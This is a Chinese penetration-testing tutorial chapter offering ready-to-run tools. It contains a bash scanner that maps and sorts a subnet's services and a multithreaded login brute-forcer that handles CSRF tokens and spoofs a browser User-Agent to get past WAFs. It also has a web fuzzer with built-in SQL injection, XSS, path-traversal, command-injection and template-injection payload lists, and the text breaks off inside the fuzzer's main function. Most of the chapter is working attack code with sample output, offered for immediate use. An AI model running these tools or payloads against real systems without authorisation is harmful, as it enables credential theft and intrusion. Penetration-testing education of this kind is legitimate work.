11 — 脚本与自动化兵器库
哲学：渗透测试中，手动操作只能让你走到前 20%。剩下 80% 的效率和覆盖面，由自动化决定。本教程不教你”怎么写脚本”——每一个脚本都是可以立即复制粘贴使用的实战工具。保存、加执行权限、运行,三个步骤。没有废话，没有简化版，每一行代码在真实渗透中都有用途。
环境：Arch Linux（Bash 5.x, Python 3.11+），部分 PowerShell 脚本适用于 Windows 域环境。
前提：已安装本教程需要的工具——
rustscan,nmap,gobuster,dirb,nikto,curl,python3,python-requests,python-impacket。如果还没装：sudo pacman -S nmap gobuster dirb nikto curl python python-requests yay -S rustscan python-impacket
1.2 脚本 2：批量内网 C 段扫描与资产分类（cidr_scan.sh）
拿到内网一个 IP 后，你需要快速摸清整个 C 段（/24）的资产分布。这个脚本扫描整个子网，然后按服务类型自动分类。
#!/bin/bash
#===============================================================================
# 文件名: cidr_scan.sh
# 用途: 扫描一个 /24 网段，按服务分类输出
# 用法: ./cidr_scan.sh 192.168.1.0/24
# ./cidr_scan.sh 10.0.0.0/16 # 也支持更大的 CIDR
#===============================================================================
set -euo pipefail
CIDR="${1:?用法: $0 <CIDR> 例如: $0 192.168.1.0/24}"
NETWORK_ID="${CIDR//\//_}"
TIMESTAMP="$(date +%Y%m%d_%H%M%S)"
OUTDIR="/tmp/cidr_${NETWORK_ID}_${TIMESTAMP}"
mkdir -p "$OUTDIR"
RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'; BLUE='\033[0;34m'; NC='\033[0m'
log_info() { echo -e "${GREEN}[+]${NC} $(date '+%H:%M:%S') $*"; }
log_info "开始扫描 $CIDR (输出目录: $OUTDIR)"
# --- 步骤 1: 快速主机发现 (ICMP + 常用端口 SYN) ---
log_info "第一阶段: 主机发现"
nmap -sn -T4 "$CIDR" -oN "$OUTDIR/host_discovery.txt" 2>&1 | grep -E "Nmap scan report|Host is up" || true
# 提取存活 IP 列表
grep "Nmap scan report" "$OUTDIR/host_discovery.txt" | awk '{print $NF}' | tr -d '()' > "$OUTDIR/live_hosts.txt"
LIVE_COUNT=$(wc -l < "$OUTDIR/live_hosts.txt")
log_info "发现 $LIVE_COUNT 个存活主机"
if [ "$LIVE_COUNT" -eq 0 ]; then
log_info "没有存活主机，退出"
exit 0
fi
# --- 步骤 2: 对所有存活主机并行端口扫描 ---
log_info "第二阶段: 端口扫描 (并行 10 个)"
# 使用 xargs 并行扫描，最多 10 个并行任务
cat "$OUTDIR/live_hosts.txt" | xargs -P 10 -I {} sh -c "
ip={};
echo \"[*] 扫描 \$ip\";
if command -v rustscan &>/dev/null; then
rustscan -a \"\$ip\" -- -sV -Pn -T4 -oN \"$OUTDIR/nmap_\${ip}.txt\" 2>/dev/null;
else
nmap -sV -Pn -T4 --top-ports 1000 \"\$ip\" -oN \"$OUTDIR/nmap_\${ip}.txt\" 2>/dev/null;
fi
"
# --- 步骤 3: 按服务分类 ---
log_info "第三阶段: 按服务分类"
# 初始化各分类输出文件
for cat_file in "$OUTDIR"/{ssh,http,https,database,smb,rdp,ftp,dns,vnc,winrm,other}_hosts.txt; do
touch "$cat_file"
done
touch "$OUTDIR/all_services.txt"
# 遍历每个 nmap 输出文件，提取服务信息
for nmap_file in "$OUTDIR"/nmap_*.txt; do
[ -f "$nmap_file" ] || continue
IP=$(basename "$nmap_file" | sed 's/nmap_//' | sed 's/\.txt//')
while read -r line; do
PORT=$(echo "$line" | awk -F/ '{print $1}')
SERVICE=$(echo "$line" | awk '{print $3}')
PRODUCT=$(echo "$line" | awk '{for(i=4;i<=NF;i++) printf "%s ", $i}' | sed 's/ $//')
# 记录到 all_services.txt
echo "$IP:$PORT → $SERVICE $PRODUCT" >> "$OUTDIR/all_services.txt"
# 按服务类型分类写入对应的文件
case "$SERVICE" in
ssh) echo "$IP:$PORT ($PRODUCT)" >> "$OUTDIR/ssh_hosts.txt" ;;
http|http-proxy|http-alt) echo "$IP:$PORT ($PRODUCT)" >> "$OUTDIR/http_hosts.txt" ;;
ssl/http|ssl/https|https) echo "$IP:$PORT ($PRODUCT)" >> "$OUTDIR/https_hosts.txt" ;;
mysql|mssql|postgresql|redis|oracle-tns|mongodb)
echo "$IP:$PORT → $SERVICE ($PRODUCT)" >> "$OUTDIR/database_hosts.txt" ;;
microsoft-ds|netbios-ssn|smb)
echo "$IP:$PORT ($PRODUCT)" >> "$OUTDIR/smb_hosts.txt" ;;
ms-wbt-server) echo "$IP:$PORT ($PRODUCT)" >> "$OUTDIR/rdp_hosts.txt" ;;
ftp|ftp-data) echo "$IP:$PORT ($PRODUCT)" >> "$OUTDIR/ftp_hosts.txt" ;;
domain) echo "$IP:$PORT ($PRODUCT)" >> "$OUTDIR/dns_hosts.txt" ;;
vnc) echo "$IP:$PORT ($PRODUCT)" >> "$OUTDIR/vnc_hosts.txt" ;;
msrpc|winrm) echo "$IP:$PORT ($PRODUCT)" >> "$OUTDIR/winrm_hosts.txt" ;;
*) echo "$IP:$PORT → $SERVICE ($PRODUCT)" >> "$OUTDIR/other_hosts.txt" ;;
esac
done < <(grep "open" "$nmap_file" 2>/dev/null)
done
# --- 步骤 4: 生成摘要 ---
log_info "生成分类摘要"
{
echo "========================================"
echo " 内网资产扫描报告: $CIDR"
echo " 扫描时间: $(date)"
echo "========================================"
echo ""
echo "存活主机: $LIVE_COUNT 台"
cat "$OUTDIR/live_hosts.txt"
echo ""
for category in ssh http https database smb rdp ftp dns winrm; do
FILE="$OUTDIR/${category}_hosts.txt"
[ -f "$FILE" ] || continue
COUNT=$(grep -cve '^\s*$' "$FILE" 2>/dev/null || echo 0)
echo "--- $category 服务 ($COUNT 个) ---"
grep -v '^\s*$' "$FILE" 2>/dev/null || echo " (无)"
echo ""
done
echo "完整服务列表: $OUTDIR/all_services.txt"
} > "$OUTDIR/SUMMARY.txt"
cat "$OUTDIR/SUMMARY.txt"
log_info "结果保存在: $OUTDIR"保存与运行：
chmod +x ~/tools/cidr_scan.sh
# 扫描一个 C 段
./cidr_scan.sh 192.168.1.0/24
# 扫描更大的网段（注意：会很慢）
./cidr_scan.sh 10.0.0.0/16预期输出示例：
[+] 15:01:22 开始扫描 192.168.1.0/24
[+] 15:01:25 第一阶段: 主机发现
[+] 15:01:45 发现 23 个存活主机
[+] 15:01:45 第二阶段: 端口扫描 (并行 10 个)
[+] 15:03:12 第三阶段: 按服务分类
内网资产扫描报告: 192.168.1.0/24
--- ssh 服务 (7 个) ---
192.168.1.1:22 (OpenSSH 7.4)
192.168.1.5:22 (OpenSSH 8.9p1 Ubuntu)
...
--- http 服务 (12 个) ---
192.168.1.5:80 (nginx 1.18.0)
192.168.1.10:8080 (Apache Tomcat/Coyote JSP engine 1.1)
...
--- database 服务 (3 个) ---
192.168.1.50:3306 → mysql (MySQL 5.7.42)
...
--- smb 服务 (4 个) ---
192.168.1.2:445 (Windows Server 2016 Standard 14393)
...
关键知识点：
xargs -P 10：并行启动最多 10 个扫描进程。-P参数控制并发数，对 /24 网段来说 10 并发在大多数机器上不会触发 OOM< <(grep ...)：进程替换（process substitution），避免了管道导致的子 shell 变量作用域问题case ... esac服务分类：nmap 对同一类服务有多个可能的命名（如microsoft-ds,netbios-ssn,smb都是 SMB），case 语句把它们归入同一分类
2.2 脚本 5：HTTP 表单爆破器（http_bruteforce.py）
渗透中遇到登录表单，需要一个支持多线程、自定义失败条件、自动处理 CSRF token 的爆破工具。
#!/usr/bin/env python3
#===============================================================================
# 文件名: http_bruteforce.py
# 用途: 多线程 HTTP 登录表单爆破
# 用法:
# python3 http_bruteforce.py <url> <user_field> <pass_field> <userlist> <passlist>
# python3 http_bruteforce.py <url> <user_field> <pass_field> <userlist> <passlist> \
# --fail-string "Invalid password" --threads 20
#===============================================================================
import requests
import sys
import time
import re
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse, urljoin
from typing import Optional, List, Tuple
class HTTPBruteforcer:
"""多线程 HTTP 表单登录爆破器"""
def __init__(
self, url: str, user_field: str = "username", pass_field: str = "password",
threads: int = 10, timeout: float = 10.0, proxy: Optional[str] = None,
):
self.url = url
self.user_field = user_field
self.pass_field = pass_field
self.threads = threads
self.timeout = timeout
self.session = requests.Session()
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
# 设置 User-Agent，避免被 WAF 拦截
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/120.0.0.0 Safari/537.36"
})
self.attempts = 0
self.successes: List[Tuple[str, str, int, str]] = []
self.csrf_token_name: Optional[str] = None
self.extra_fields: dict = {}
def detect_login_form(self) -> None:
"""自动探测登录表单结构，提取 CSRF token 和其他隐藏字段"""
try:
resp = self.session.get(self.url, timeout=self.timeout)
html = resp.text
# 寻找 CSRF token（按常见的 name 属性模式匹配）
csrf_patterns = [
r'<input[^>]*name=["\']([^"\']*token[^"\']*)["\'][^>]*value=["\']([^"\']*)["\']',
r'<input[^>]*name=["\']([^"\']*csrf[^"\']*)["\'][^>]*value=["\']([^"\']*)["\']',
r'<input[^>]*name=["\']([^"\']*nonce[^"\']*)["\'][^>]*value=["\']([^"\']*)["\']',
]
for pattern in csrf_patterns:
match = re.search(pattern, html, re.IGNORECASE)
if match:
self.csrf_token_name = match.group(1)
print(f"[+] 检测到 CSRF token 字段: {self.csrf_token_name}")
break
# 提取所有隐藏字段
hidden_fields = re.findall(
r'<input[^>]*type=["\']hidden["\'][^>]*name=["\']([^"\']*)["\'][^>]*value=["\']([^"\']*)["\']',
html, re.IGNORECASE
)
for name, value in hidden_fields:
if name not in (self.user_field, self.pass_field):
self.extra_fields[name] = value
print(f"[+] 检测到隐藏字段: {name} = {value}")
# 检测表单 action 重定向
form_match = re.search(
r'<form[^>]*action=["\']([^"\']*)["\']', html, re.IGNORECASE
)
if form_match:
action = form_match.group(1)
if action and action != "#":
parsed = urlparse(self.url)
self.url = urljoin(f"{parsed.scheme}://{parsed.netloc}{parsed.path}", action)
print(f"[+] 表单 action 重定向到: {self.url}")
except requests.RequestException as e:
print(f"[-] 无法访问目标 URL: {e}")
sys.exit(1)
def fetch_csrf_token(self) -> str:
"""每次请求前获取新的 CSRF token"""
if not self.csrf_token_name:
return ""
try:
resp = self.session.get(self.url, timeout=self.timeout)
match = re.search(
rf'name=["\']{re.escape(self.csrf_token_name)}["\'][^>]*value=["\']([^"\']*)["\']',
resp.text, re.IGNORECASE
)
if match:
return match.group(1)
except requests.RequestException:
pass
return ""
def try_login(
self, username: str, password: str,
fail_string: Optional[str] = None, success_string: Optional[str] = None,
fail_code: Optional[int] = None, success_code: Optional[int] = None,
) -> Tuple[bool, str]:
"""尝试单个用户名/密码组合，返回 (是否成功, 原因)"""
# 构建 POST 数据
data = {self.user_field: username, self.pass_field: password}
# 添加 CSRF token
if self.csrf_token_name:
token = self.fetch_csrf_token()
data[self.csrf_token_name] = token
# 添加其他隐藏字段
data.update(self.extra_fields)
try:
resp = self.session.post(
self.url, data=data, timeout=self.timeout, allow_redirects=True,
)
self.attempts += 1
# --- 判断成功/失败的逻辑（按优先级） ---
# 优先级 1: HTTP 状态码匹配
if success_code and resp.status_code == success_code:
return True, f"HTTP {resp.status_code}"
if fail_code and resp.status_code == fail_code:
return False, f"HTTP {resp.status_code}"
# 优先级 2: 响应内容字符串匹配
if success_string and success_string.lower() in resp.text.lower():
return True, "成功字符串匹配"
if fail_string and fail_string.lower() in resp.text.lower():
return False, "失败字符串匹配"
# 优先级 3: 重定向（301/302 跳转通常意味着登录成功）
if resp.status_code in (301, 302, 303, 307, 308):
redirect = resp.headers.get("Location", "")
return True, f"重定向 → {redirect}"
# 优先级 4: 设置了 Session Cookie
if "Set-Cookie" in resp.headers and "session" in resp.headers.get("Set-Cookie", "").lower():
return True, "Session cookie 已设置"
# 默认：无法判断
return False, "未知"
except requests.Timeout:
return False, "超时"
except requests.RequestException as e:
return False, f"请求异常: {e}"
def brute_force(
self, userlist: List[str], passlist: List[str],
fail_string: Optional[str] = None, success_string: Optional[str] = None,
fail_code: Optional[int] = None, success_code: Optional[int] = None,
) -> None:
"""启动多线程爆破"""
total = len(userlist) * len(passlist)
print(f"\n[*] 用户名数量: {len(userlist)}")
print(f"[*] 密码数量: {len(passlist)}")
print(f"[*] 总组合数: {total}")
print(f"[*] 线程数: {self.threads}")
print(f"[*] 目标: {self.url}")
print(f"[*] 开始爆破...\n")
start_time = time.time()
# 构建任务列表：对每个用户名尝试所有密码
tasks = [(u.strip(), p.strip()) for u in userlist for p in passlist]
with ThreadPoolExecutor(max_workers=self.threads) as executor:
futures = {
executor.submit(
self.try_login, u, p, fail_string, success_string, fail_code, success_code
): (u, p)
for u, p in tasks
}
for future in as_completed(futures):
username, password = futures[future]
try:
success, reason = future.result()
status = "[成功]" if success else "[失败]"
if success:
self.successes.append((username, password, self.attempts, reason))
print(f" {status} {username}:{password} → {reason}")
else:
# 进度显示：每 50 次尝试打印一次
if self.attempts % 50 == 0:
elapsed = time.time() - start_time
rate = self.attempts / elapsed if elapsed > 0 else 0
print(f" ... 已尝试 {self.attempts}/{total} ({rate:.1f} 次/秒) ...")
except Exception as e:
print(f" [错误] {username}:{password} → {e}")
elapsed = time.time() - start_time
# --- 输出最终结果 ---
print(f"\n{'='*60}")
print(f" 爆破完成")
print(f" 耗时: {elapsed:.1f}秒")
print(f" 总尝试次数: {self.attempts}")
print(f" 成功次数: {len(self.successes)}")
print(f" 速度: {self.attempts / elapsed:.1f} 次/秒" if elapsed > 0 else "")
print(f"{'='*60}")
if self.successes:
print(f"\n 有效的凭据:")
for user, pwd, attempt, reason in self.successes:
print(f" {user}:{pwd} (第 {attempt} 次尝试, {reason})")
def load_wordlist(filename: str) -> List[str]:
"""从文件加载字典，跳过空行和注释行"""
try:
with open(filename, "r", encoding="utf-8", errors="ignore") as f:
return [line.strip() for line in f if line.strip() and not line.startswith("#")]
except FileNotFoundError:
print(f"[-] 找不到文件: {filename}")
sys.exit(1)
def main():
if len(sys.argv) < 6:
print(f"用法: {sys.argv[0]} <url> <user_field> <pass_field> <userlist> <passlist> [options]")
print()
print("必选参数:")
print(" url 目标登录页面 URL")
print(" user_field 用户名字段 name 属性")
print(" pass_field 密码字段 name 属性")
print(" userlist 用户名字典文件")
print(" passlist 密码字典文件")
print()
print("可选参数:")
print(" --fail-string STR 响应中包含此字符串视为登录失败")
print(" --success-string STR 响应中包含此字符串视为登录成功")
print(" --fail-code CODE HTTP 状态码为 CODE 视为失败")
print(" --success-code CODE HTTP 状态码为 CODE 视为成功")
print(" --threads N 线程数 (默认 10)")
print(" --proxy IP:PORT 代理地址")
print(" --no-detect 跳过自动 CSRF/表单检测")
print()
print("示例:")
print(f" {sys.argv[0]} http://target.com/login.php user pass users.txt pass.txt \\")
print(" --fail-string 'Invalid password' --threads 20")
sys.exit(1)
url = sys.argv[1]
user_field = sys.argv[2]
pass_field = sys.argv[3]
userlist_file = sys.argv[4]
passlist_file = sys.argv[5]
# 解析可选参数
fail_string = None; success_string = None; fail_code = None; success_code = None
threads = 10; proxy = None; no_detect = False
args = sys.argv[6:]
i = 0
while i < len(args):
if args[i] == "--fail-string" and i + 1 < len(args):
fail_string = args[i + 1]; i += 1
elif args[i] == "--success-string" and i + 1 < len(args):
success_string = args[i + 1]; i += 1
elif args[i] == "--fail-code" and i + 1 < len(args):
fail_code = int(args[i + 1]); i += 1
elif args[i] == "--success-code" and i + 1 < len(args):
success_code = int(args[i + 1]); i += 1
elif args[i] == "--threads" and i + 1 < len(args):
threads = int(args[i + 1]); i += 1
elif args[i] == "--proxy" and i + 1 < len(args):
proxy = args[i + 1]; i += 1
elif args[i] == "--no-detect":
no_detect = True
i += 1
userlist = load_wordlist(userlist_file)
passlist = load_wordlist(passlist_file)
bf = HTTPBruteforcer(url=url, user_field=user_field, pass_field=pass_field,
threads=threads, proxy=proxy)
if not no_detect:
bf.detect_login_form()
bf.brute_force(userlist=userlist, passlist=passlist,
fail_string=fail_string, success_string=success_string,
fail_code=fail_code, success_code=success_code)
if __name__ == "__main__":
main()保存与运行：
chmod +x ~/tools/http_bruteforce.py
# 基本使用：指定失败条件
python3 ~/tools/http_bruteforce.py \
http://192.168.1.100/login.php user pass \
/usr/share/wordlists/users.txt \
/usr/share/wordlists/passwords.txt \
--fail-string "Invalid username or password" \
--threads 20
# 指定成功状态码（常用于 API 登录返回 302）
python3 ~/tools/http_bruteforce.py \
https://target.com/admin/ username password \
users.txt rockyou.txt \
--success-code 302 --threads 30
# 过代理（用 Burp Suite 观察流量）
python3 ~/tools/http_bruteforce.py \
http://10.0.0.5/login.php user pass \
users.txt passwords.txt \
--proxy 127.0.0.1:8080 --fail-string "Login failed"预期输出：
[+] 检测到 CSRF token 字段: csrf_token
[+] 检测到隐藏字段: redirect_to = /dashboard
[*] 用户名数量: 50
[*] 密码数量: 200
[*] 总组合数: 10000
[*] 线程数: 20
[*] 目标: http://192.168.1.100/login.php
[*] 开始爆破...
... 已尝试 50/10000 (25.3 次/秒) ...
... 已尝试 100/10000 (28.1 次/秒) ...
[成功] admin:Summer2024! → 重定向 → /dashboard
爆破完成
耗时: 337.2秒
总尝试次数: 10000
成功次数: 1
速度: 29.7 次/秒
有效的凭据:
admin:Summer2024! (第 178 次尝试, 重定向 → /dashboard)
关键设计点：
requests.Session()：所有请求共享同一个 TCP 连接池和 Cookie 容器，模拟真实浏览器行为- CSRF token 自动检测：每次请求前动态获取新的 token，支持最常见的 3 种 token 命名模式
- 失败条件多优先级判断：状态码 → 响应内容字符串 → 重定向 → Cookie，层层递进，覆盖绝大多数登录机制
2.4 脚本 7：自定义 Web Fuzzer（web_fuzzer.py）
这个 fuzzer 对 URL 的每个参数位置注入 payload，检测响应差异。可以用于：WAF 绕过测试、参数污染、目录遍历、LFI、SQLi 探测、XSS 等。内置 5 大类共 80+ 个精选 payload。
#!/usr/bin/env python3
#===============================================================================
# 文件名: web_fuzzer.py
# 用途: 多功能 Web fuzzer — 对 URL 参数/路径/Header 注入 payload
# 用法:
# python3 web_fuzzer.py -u "http://target.com/page?id=1" --param id --type sqli
# python3 web_fuzzer.py -u "http://target.com/FUZZ" -w wordlist.txt --mode path
# python3 web_fuzzer.py -u "http://target.com/api" --type all --auto-params
#===============================================================================
import sys
import time
import re
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import List, Dict, Optional, Tuple
import argparse
try:
import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
print("[-] 需要安装 requests 库: pip install requests")
sys.exit(1)
# =============================================================================
# 内置 Payload 库 — 按攻击类型分类
# =============================================================================
SQLI_PAYLOADS = [
"'", '"', "1' OR '1'='1", "1' OR '1'='1' --", "1' OR '1'='1' #",
"1' AND 1=1 --", "1' AND 1=2 --", "1' UNION SELECT NULL--",
"1' UNION SELECT NULL,NULL--", "1' UNION SELECT NULL,NULL,NULL--",
"1' UNION SELECT @@version--", "admin' --", "admin' #",
"1' AND SLEEP(5) --", "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --",
"1' AND '1'='1", "1' AND '1'='2", "' OR '1'='1' --",
]
XSS_PAYLOADS = [
"<script>alert(1)</script>", '"><script>alert(1)</script>',
"javascript:alert(1)", "<img src=x onerror=alert(1)>",
"<svg onload=alert(1)>", "'><script>alert(1)</script>",
'"><img src=x onerror=alert(1)>', "<body onload=alert(1)>",
]
PATHTRAVERSAL_PAYLOADS = [
"../../../etc/passwd", "..\\..\\..\\windows\\win.ini",
"....//....//....//etc/passwd", ".../.../.../etc/passwd",
"..%252f..%252f..%252fetc/passwd",
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd",
"..%5c..%5c..%5cwindows/win.ini", "/etc/passwd",
"c:\\windows\\win.ini",
]
CMDI_PAYLOADS = [
";ls", "|ls", "`ls`", "$(ls)", "&& ls", "|| ls",
";id", "|id", "&& whoami", ";cat /etc/passwd",
"|cat /etc/passwd", ";ping -c 5 127.0.0.1",
]
SSTI_PAYLOADS = [
"{{7*7}}", "${7*7}", "<%= 7*7 %>", "#{7*7}",
"{{config}}", "{{self}}",
"{{''.__class__.__mro__[1].__subclasses__()}}",
"${{7*7}}", "@(7*7)",
]
BUILTIN_PAYLOADS = {
"sqli": SQLI_PAYLOADS,
"xss": XSS_PAYLOADS,
"path-traversal": PATHTRAVERSAL_PAYLOADS,
"command-injection": CMDI_PAYLOADS,
"ssti": SSTI_PAYLOADS,
"all": (SQLI_PAYLOADS + XSS_PAYLOADS + PATHTRAVERSAL_PAYLOADS +
CMDI_PAYLOADS + SSTI_PAYLOADS),
}
class WebFuzzer:
"""多功能 Web Fuzzer"""
def __init__(self, threads: int = 20, timeout: float = 10.0,
proxy: Optional[str] = None):
self.threads = threads
self.timeout = timeout
self.session = requests.Session()
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (compatible; Fuzzer/1.0)",
})
self.session.verify = False
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
# 基线响应（未注入 payload 时的正常响应）
self.baseline_code: int = 0
self.baseline_size: int = 0
self.baseline_time: float = 0.0
self.anomalies: List[Dict] = []
def set_baseline(self, method: str, url: str, headers: Dict,
data: Optional[Dict] = None) -> None:
"""发送一次正常请求，建立基线"""
try:
resp = self.session.request(
method, url, headers=headers, data=data,
timeout=self.timeout, allow_redirects=False,
)
self.baseline_code = resp.status_code
self.baseline_size = len(resp.content)
self.baseline_time = resp.elapsed.total_seconds()
print(f"[*] 基线响应: HTTP {self.baseline_code}, "
f"{self.baseline_size}B, {self.baseline_time:.2f}s")
except requests.RequestException as e:
print(f"[-] 无法建立基线: {e}")
sys.exit(1)
def _make_request(self, method: str, url: str,
headers: Optional[Dict] = None,
data: Optional[Dict] = None) -> Dict:
"""发送请求并返回响应详情"""
try:
resp = self.session.request(
method, url, headers=headers, data=data,
timeout=self.timeout, allow_redirects=False,
)
return {
"code": resp.status_code,
"size": len(resp.content),
"time": resp.elapsed.total_seconds(),
"redirect": resp.headers.get("Location", ""),
}
except requests.Timeout:
return {"code": 0, "size": 0, "time": 0, "redirect": "", "error": "超时"}
except Exception as e:
return {"code": 0, "size": 0, "time": 0, "redirect": "", "error": str(e)}
def _fuzz_and_analyze(self, payload: str, method: str, url: str,
param: Optional[str] = None,
header_name: Optional[str] = None,
fuzz_mode: str = "param",
extra_headers: Optional[Dict] = None,
post_data: Optional[Dict] = None) -> None:
"""注入单个 payload 并分析响应"""
# 根据模式构造 URL
if fuzz_mode == "param" and param:
parsed = urllib.parse.urlparse(url)
query_params = urllib.parse.parse_qs(parsed.query, keep_blank_values=True)
query_params[param] = [urllib.parse.unquote(payload)]
new_query = urllib.parse.urlencode(query_params, doseq=True)
target_url = urllib.parse.urlunparse(parsed._replace(query=new_query))
elif fuzz_mode == "path":
target_url = url.replace("FUZZ", urllib.parse.quote(payload, safe=""))
elif fuzz_mode == "header" and header_name:
target_url = url
extra_headers = (extra_headers or {}).copy()
extra_headers[header_name] = payload
else:
return
details = self._make_request(method, target_url, extra_headers, post_data)
if details.get("error"):
return
code = details.get("code", 0)
size = details.get("size", 0)
resp_time = details.get("time", 0.0)
anomalies = []
# 异常检测 1: HTTP 状态码变化
if code != self.baseline_code and code > 0:
anomalies.append(f"状态码: {self.baseline_code} → {code}")
# 异常检测 2: 响应大小显著变化（超过 30%）
if self.baseline_size > 0:
diff_pct = abs(size - self.baseline_size) / self.baseline_size * 100
if diff_pct > 30:
anomalies.append(f"大小: {self.baseline_size}B → {size}B ({diff_pct:+.1f}%)")
# 异常检测 3: 响应时间显著增加（可能是时间盲注）
if self.baseline_time > 0 and resp_time > self.baseline_time * 5:
anomalies.append(f"时间: {self.baseline_time:.2f}s → {resp_time:.2f}s")
# 异常检测 4: 服务端错误
if code >= 500:
anomalies.append("服务端 500 错误（可能触发漏洞!）")
# 异常检测 5: 重定向
redirect = details.get("redirect", "")
if code in (301, 302, 303, 307, 308) and redirect:
anomalies.append(f"重定向 → {redirect}")
if anomalies:
flag = " [!]" if code >= 500 else " [*]"
print(f" {flag} [{fuzz_mode}] {payload[:60]}")
for a in anomalies:
print(f" → {a}")
self.anomalies.append({
"payload": payload,
"location": fuzz_mode,
"code": code, "size": size,
"anomalies": anomalies,
})
def run_fuzz_session(self, payloads: List[str], url: str,
param: Optional[str] = None,
header_name: Optional[str] = None,
method: str = "GET", fuzz_mode: str = "param",
extra_headers: Optional[Dict] = None,
post_data: Optional[Dict] = None) -> None:
"""执行完整的 fuzz 会话"""
print(f"\n{'='*60}")
print(f" Web Fuzzer - {fuzz_mode.upper()} 模式")
print(f" 目标: {url}")
print(f" Payloads: {len(payloads)} 个")
print(f" 线程: {self.threads}")
print(f"{'='*60}\n")
# 建立基线
print("[*] 建立基线响应...")
self.set_baseline(method, url, extra_headers or {}, post_data)
start_time = time.time()
processed = 0
total = len(payloads)
with ThreadPoolExecutor(max_workers=self.threads) as executor:
futures = {}
for payload in payloads:
if not payload.strip():
continue
future = executor.submit(
self._fuzz_and_analyze, payload, method, url,
param, header_name, fuzz_mode, extra_headers, post_data
)
futures[future] = payload
for future in as_completed(futures):
try:
future.result()
processed += 1
if processed % 100 == 0:
elapsed = time.time() - start_time
print(f" ... 进度: {processed}/{total} "
f"({processed / elapsed:.1f}/s) ...")
except Exception as e:
print(f" [错误] {futures[future]} → {e}")
elapsed = time.time() - start_time
print(f"\n{'='*60}")
print(f" Fuzz 完成!")
print(f" 耗时: {elapsed:.1f}秒")
print(f" 处理: {processed} 个 payload")
print(f" 异常: {len(self.anomalies)} 个响应")
print(f"{'='*60}")
if self.anomalies:
print(f"\n异常响应详情:")
for i, a in enumerate(self.anomalies, 1):
print(f"\n #{i} [{a['location']}] {a['payload'][:80]}")
print(f" HTTP {a['code']}, {a['size']}B")
for anomaly in a['anomalies']:
print(f" {anomaly}")
def load_payloads(filename: str) -> List[str]:
"""加载 payload 文件，跳过空行和注释"""
try:
with open(filename, "r", encoding="utf-8", errors="ignore") as f:
return [line.strip() for line in f
if line.strip() and not line.startswith("#")]
except FileNotFoundError:
print(f"[-] 找不到文件: {filename}")
sys.exit(1)
def main():
parser = argparse.ArgumentParser(
description="多功能 Web Fuzzer",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
示例:
# URL 参数 SQLi fuzz
%(prog)s -u "http://target.com/page?id=1" --param id --type sqli
# URL 路径 fuzz (FUZZ 占位符)
%(prog)s -u "http://target.com/FUZZ" -w wordlist.txt --mode path
# 自动对所有参数 fuzz
%(prog)s -u "http://target.com/search?q=test&sort=asc&page=1" --type all --auto-params
# Header fuzz (如 JWT token)
%(prog)s -u "http://target.com/api" -H "Authorization: Bearer FUZZ" -p tokens.txt --mode header
# POST 表单 fuzz
%(prog)s -u "http://target.com/login" -X POST -d "user=admin&pass=test" --param user --type all
# 路径穿越检测
%(prog)s -u "http://target.com/file?path=index.html" --param path --type path-traversal
"""
)
parser.add_argument("-u", "--url", required=True, help="目标 URL")
parser.add_argument("--mode", choices=["param", "path", "header"],
default="param", help="Fuzz 模式 (默认: param)")
parser.add_argument("--param", help="要 fuzz 的 URL 参数名")
parser.add_argument("-H", "--header", help="HTTP Header (如 'Authorization: Bearer FUZZ')")
# Payload 来源
parser.add_argument("-p", "--payloads", help="外部 payload 文件")
parser.add_argument("-w", "--wordlist", help="字典文件 (mode=path 时使用)")
parser.add_argument("--type", choices=list(BUILTIN_PAYLOADS.keys()),
help="内置 payload 类型 (sqli/xss/path-traversal/command-injection/ssti/all)")
# 请求选项
parser.add_argument("-X", "--method", default="GET", help="HTTP 方法")
parser.add_argument("-d", "--data", help="POST 数据 (如 'user=admin&pass=test')")
parser.add_argument("-c", "--cookies", help="Cookie 字符串")
parser.add_argument("--proxy", help="代理 (如 'http://127.0.0.1:8080')")
parser.add_argument("-t", "--threads", type=int, default=20, help="线程数")
parser.add_argument("--timeout", type=float, default=10.0, help="请求超时 (秒)")
parser.add_argument("--auto-params", action="store_true",
help="自动对 URL 中所有参数逐一 fuzz")
args = parser.parse_args()
# --- 准备 payload 列表 ---
payload_list = []
if args.payloads:
payload_list = load_payloads(args.payloads)
elif args.wordlist:
payload_list = load_payloads(args.wordlist)
elif args.type and args.type in BUILTIN_PAYLOADS:
payload_list = BUILTIN_PAYLOADS[args.type]
print(f"[+] 使用内置 payload 集: {args.type} ({len(payload_list)} 个)")
else:
print("[-] 请指定 payload 来源: -p <file>, -w <file>, 或 --type <type>")
sys.exit(1)
# --- 解析 headers ---
extra_headers = {}
header_name = None
if args.header and ":" in args.header:
key, val = args.header.split(":", 1)
key = key.strip(); val = val.strip()
if "FUZZ" in val:
header_name = key
else:
extra_headers[key] = val
# --- 解析 POST data ---
post_data = None
if args.data:
post_data = {}
for pair in args.data.split("&"):
if "=" in pair:
k, v = pair.split("=", 1)
post_data[k.strip()] = v.strip()
# --- 解析 cookies ---
if args.cookies:
cookies = {}
for pair in args.cookies.split(";"):
if "=" in pair:
k, v = pair.split("=", 1)
cookies[k.strip()] = v.strip()
# 通过 headers 注入 cookie
if cookies:
extra_headers["Cookie"] = "; ".join(f"{k}={v}" for k, v in cookies.items())
fuzzer = WebFuzzer(threads=args.threads, timeout=args.timeout, proxy=args.proxy)
# --- 执行 fuzz ---
if args.auto_params:
parsed = urllib.parse.urlparse(args.url)
params = urllib.parse.parse_qs(parsed.query)
if not params:
print("[-] URL 中没有参数")
sys.exit(1)
print(f"[+] 自动检测到 {len(params)} 个参数: {list(params.keys())}")
for param_name in params:
print(f"\n{''*50}")
print(f" >>> Fuzzing 参数: {param_name}")
print(f"{''*50}")
fuzzer.run_fuzz_session(
payloads=payload_list, url=args.url, param=param_name,
